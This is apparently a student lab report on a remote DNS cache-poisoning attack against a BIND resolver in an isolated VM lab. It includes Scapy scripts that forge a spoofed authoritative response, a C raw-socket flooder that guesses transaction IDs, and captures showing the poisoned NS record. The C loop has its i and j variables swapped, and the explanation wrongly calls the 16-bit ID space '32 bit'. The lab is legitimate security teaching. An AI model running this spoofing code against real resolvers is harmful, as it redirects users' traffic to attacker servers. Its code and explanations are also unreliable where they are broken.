

INTERNET SECURITY LAB 6

Remote DNS Attack



Akarsh Shetty Umesh Mudelkadi
317752264

Note:

- In the lab I will be referring VM's as VM1, VM2, VM3:
VM1 -IP(10.0.2.15) - MAC(08:00:27:bc:e1:27) – User Machine
VM2 -IP(10.0.2.4) - MAC(08:00:27:75:b4:1a) – Local DNS Server
VM3 -IP(10.0.2.5) – MAC (08:00:27:ad:68:6e) – Attacker
- Whenever required I refreshed dns cache with command :
`sudo rndc flush.`

Configured the local DNS server:

- Configured BIND 9 server
- Turned off DNSSEC
- Fixed the Source ports (Query-source port – 33333)
- Removed example.com Zone
- Started DNS server.

Configured user machine

with same steps as done for LOCAL DNS attack lab.

Task 1: Remote Cache Poisoning –

Code:

Request.py(Template for sending query)

```
#!/bin/usr/python3
```

```
from scapy.all import *
```

```
IPpkt = IP(dst='10.0.2.4', src='10.0.2.5')
```

```
UDPpkt = UDP(dport=53, sport=33333, chksum = 0x00)
```

```
targetName = 'aaaaa.example.com'
```

```
Qdesc = DNSQR(qname=targetName)
```

```
DNSpkt = DNS(id=0xAAAA, aa=1, rd=1, qr=0, qdcount=1, qd=Qdesc)
```

```
pkt=IPpkt/UDPpkt/DNSpkt
```

```
with open('req.bin','wb') as f:
```

Remote_DNS Attack

```
f.write(bytes(pkt))
```

Response.py(Template for sending response to the query sent by local DNS)

```
#!/bin/usr/python3
```

```
from scapy.all import *
```

```
IPpkt = IP(dst='10.0.2.4',src='199.43.135.53')
```

```
UDPpkt = UDP(dport=33333, sport=53, chksum=0x00)
```

```
targetName='aaaaa.example.com'
```

```
targetDomain='example.com'
```

```
Qdsec = DNSQR(qname=targetName)
```

```
Anssec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
```

```
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata='ns.dnslabattacker.net',ttl=259200)
```

```
DNSpkt = DNS(id=0xAAAA, aa=1, rd=0, qr=1,qdcount=1, ancount=1, arcount=0,qd=Qdsec,  
an=Anssec,ns=NSsec)
```

```
Replypkt = IPpkt/UDPpkt/DNSpkt
```

```
with open('resp.bin','wb') as f:
```

```
f.write(bytes(Replypkt))
```

RemoteDnsAttack.c

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/ip.h>
```

```
#include <stdlib.h>
```

```
#define MAX_FILE_SIZE 1500
```

```
struct ipheader {
```

```
    unsigned char    iph_ihl:4, //IP header length
```

```
    iph_ver:4; //IP version
```

Remote_DNS Attack

```
unsigned char    iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3; //Fragmentation flags
                iph_offset:13; //Flags offset
unsigned char    iph_ttl; //Time to Live
unsigned char    iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr   iph_sourceip; //Source IP address
struct in_addr   iph_destip;  //Destination IP address
};

void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
            (struct sockaddr *)&dest_info, sizeof(dest_info));
}
```

Remote_DNS Attack

```
    close(sock);
}

int main() {
    unsigned char ip1[MAX_FILE_SIZE];
    unsigned char ip2[MAX_FILE_SIZE];
    FILE *f1=fopen("req.bin","rb");

    if(!f1){
        perror("can't open ' req.bin'");
        exit(0);
    }
    FILE *f2=fopen("resp.bin","rb");
    if(!f2){
        perror("can't open ' resp.bin'");
        exit(0);
    }
    int n=fread(ip1,1,MAX_FILE_SIZE,f1);
    int m=fread(ip2,1,MAX_FILE_SIZE,f2);
    char letters [26] ="abcdefghijklmnopqrstuvwxy";
    char host[5];
    for (int i=0;j<100;j++){
        for (int j=0; i<5; i++){
            int charNumber=rand()%26;
            host[j]=letters[charNumber];
        }
        memcpy(ip1+41,host,5);
        send_raw_ip_packet(ip1);
        memcpy(ip2+41,host,5);
        memcpy(ip2+64,host,5);
        for (int tid=1;tid<65535;tid++){
```

Remote_DNS Attack

```
        unsigned short trans_id[2];

        *trans_id=htons(rand()%65535);

        memcpy(ip2+28,(void *)trans_id,2);

        send_raw_ip_packet(ip2);

    }

}

}
```

Code Explanation: The request.py code is the template (structure of packets) for sending queries from local dns server to nameservers. This is triggered by attacker machine. The packet created from this code is then written to a file in binary form. Response.py is the template (structure of packets) for sending the fake response sent by attacker machine to the queries sent out by local dns server. The packet generated from this template is written to a file in binary form.

The explanation for the main attack code written in C : The binary version of the packet written in two files written (explained above) is assigned to the file pointers. Each time a packet is spoofed the host query(file 1) and response(file 2) changes are made in host name and transaction ID respectively. The code is sending out 100 different queries for local dns server to ask. For each query sent from local dns server, the attacker sends out 65535 responses as there are 32 different bit formation possible for the transaction ID. Thus the total responses sent are 100*65535.

```
[03/27/2019 17:43]Mudelkadi@VM2:~$ cat /var/cache/bind/dump.db | g
rep -A 2 auth
; authanswer
.          517440  IN NS    a.root-servers.net.
          517440  IN NS    b.root-servers.net.
--
; authanswer
          517440  RRSIG   NS 8 0 518400 (
          20190409170000 20190327160
000 16749 .
--
; authauthority
example.com.          171840  NS      ns.dnslabattacker.net.
; additional
--
```

1	2019-03-27	18:02:20.4719601...	10.0.2.5	10.0.2.4	DI
2	2019-03-27	18:02:20.4721781...	199.43.135.53	10.0.2.4	DI
3	2019-03-27	18:02:20.4723973...	199.43.135.53	10.0.2.4	DI
4	2019-03-27	18:02:20.4725872...	10.0.2.4	10.0.2.5	DI
5	2019-03-27	18:02:20.4727744...	199.43.135.53	10.0.2.4	DI
6	2019-03-27	18:02:20.4729684...	199.43.135.53	10.0.2.4	DI
7	2019-03-27	18:02:20.4733680...	199.43.135.53	10.0.2.4	DI
8	2019-03-27	18:02:20.4737068...	199.43.135.53	10.0.2.4	DI

DNS	77	Standard query	0xaaaa	A	nwlr.example.com				
DNS	156	Standard query response	0x7648	A	nwlr.example.com	A	1.2.3.4	...	
DNS	156	Standard query response	0xbf32	A	nwlr.example.com	A	1.2.3.4	...	
DNS	134	Standard query response	0xaaaa	No such name	A	nwlr.example.c...			
DNS	156	Standard query response	0xbb41	A	nwlr.example.com	A	1.2.3.4	...	
DNS	156	Standard query response	0x42b7	A	nwlr.example.com	A	1.2.3.4	...	
DNS	156	Standard query response	0xc3b5	A	nwlr.example.com	A	1.2.3.4	...	
DNS	156	Standard query response	0x95d5	A	nwlr.example.com	A	1.2.3.4	...	

Observation: NS record for example.com is set as ns.dnslabattacker.net.

3.2 Task 2: Result Verification:

To check if the attack is successful, the dig to www.example.com will search for example.com's NS record to ns.dnslabattacker.net, for that it should know the IP address of the later. Thus, we need to configure DNS server and the attacker machine. The configuration made are:

- Added zone for ns.dnsattacker.net in /etc/bind folder in DNS local server machine.
- Created db.attacker file in DNS local server machine.
- Added zone for example.com in /etc/bind/named.conf.local in attacker machine.
- Created example.com.db file in attacker machine.

So when we run dig www.example.com in user machine , local DNS searches for NS record of example.com and thus finds ns.dnslabattacker.net. It will therefore sends query to later, which is the attacker machine. Therefore the reply we get is 1.1.1.1 which we put in example.com.db file of attacker machine.

```
[03/27/2019 17:44]Mudelkadi@VM1:~$ dig www.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35890
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL:
 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                258572  IN      A      1.1.1.1

;; AUTHORITY SECTION:
example.com.                    171164  IN      NS      ns.dnslabattacker.
net.
```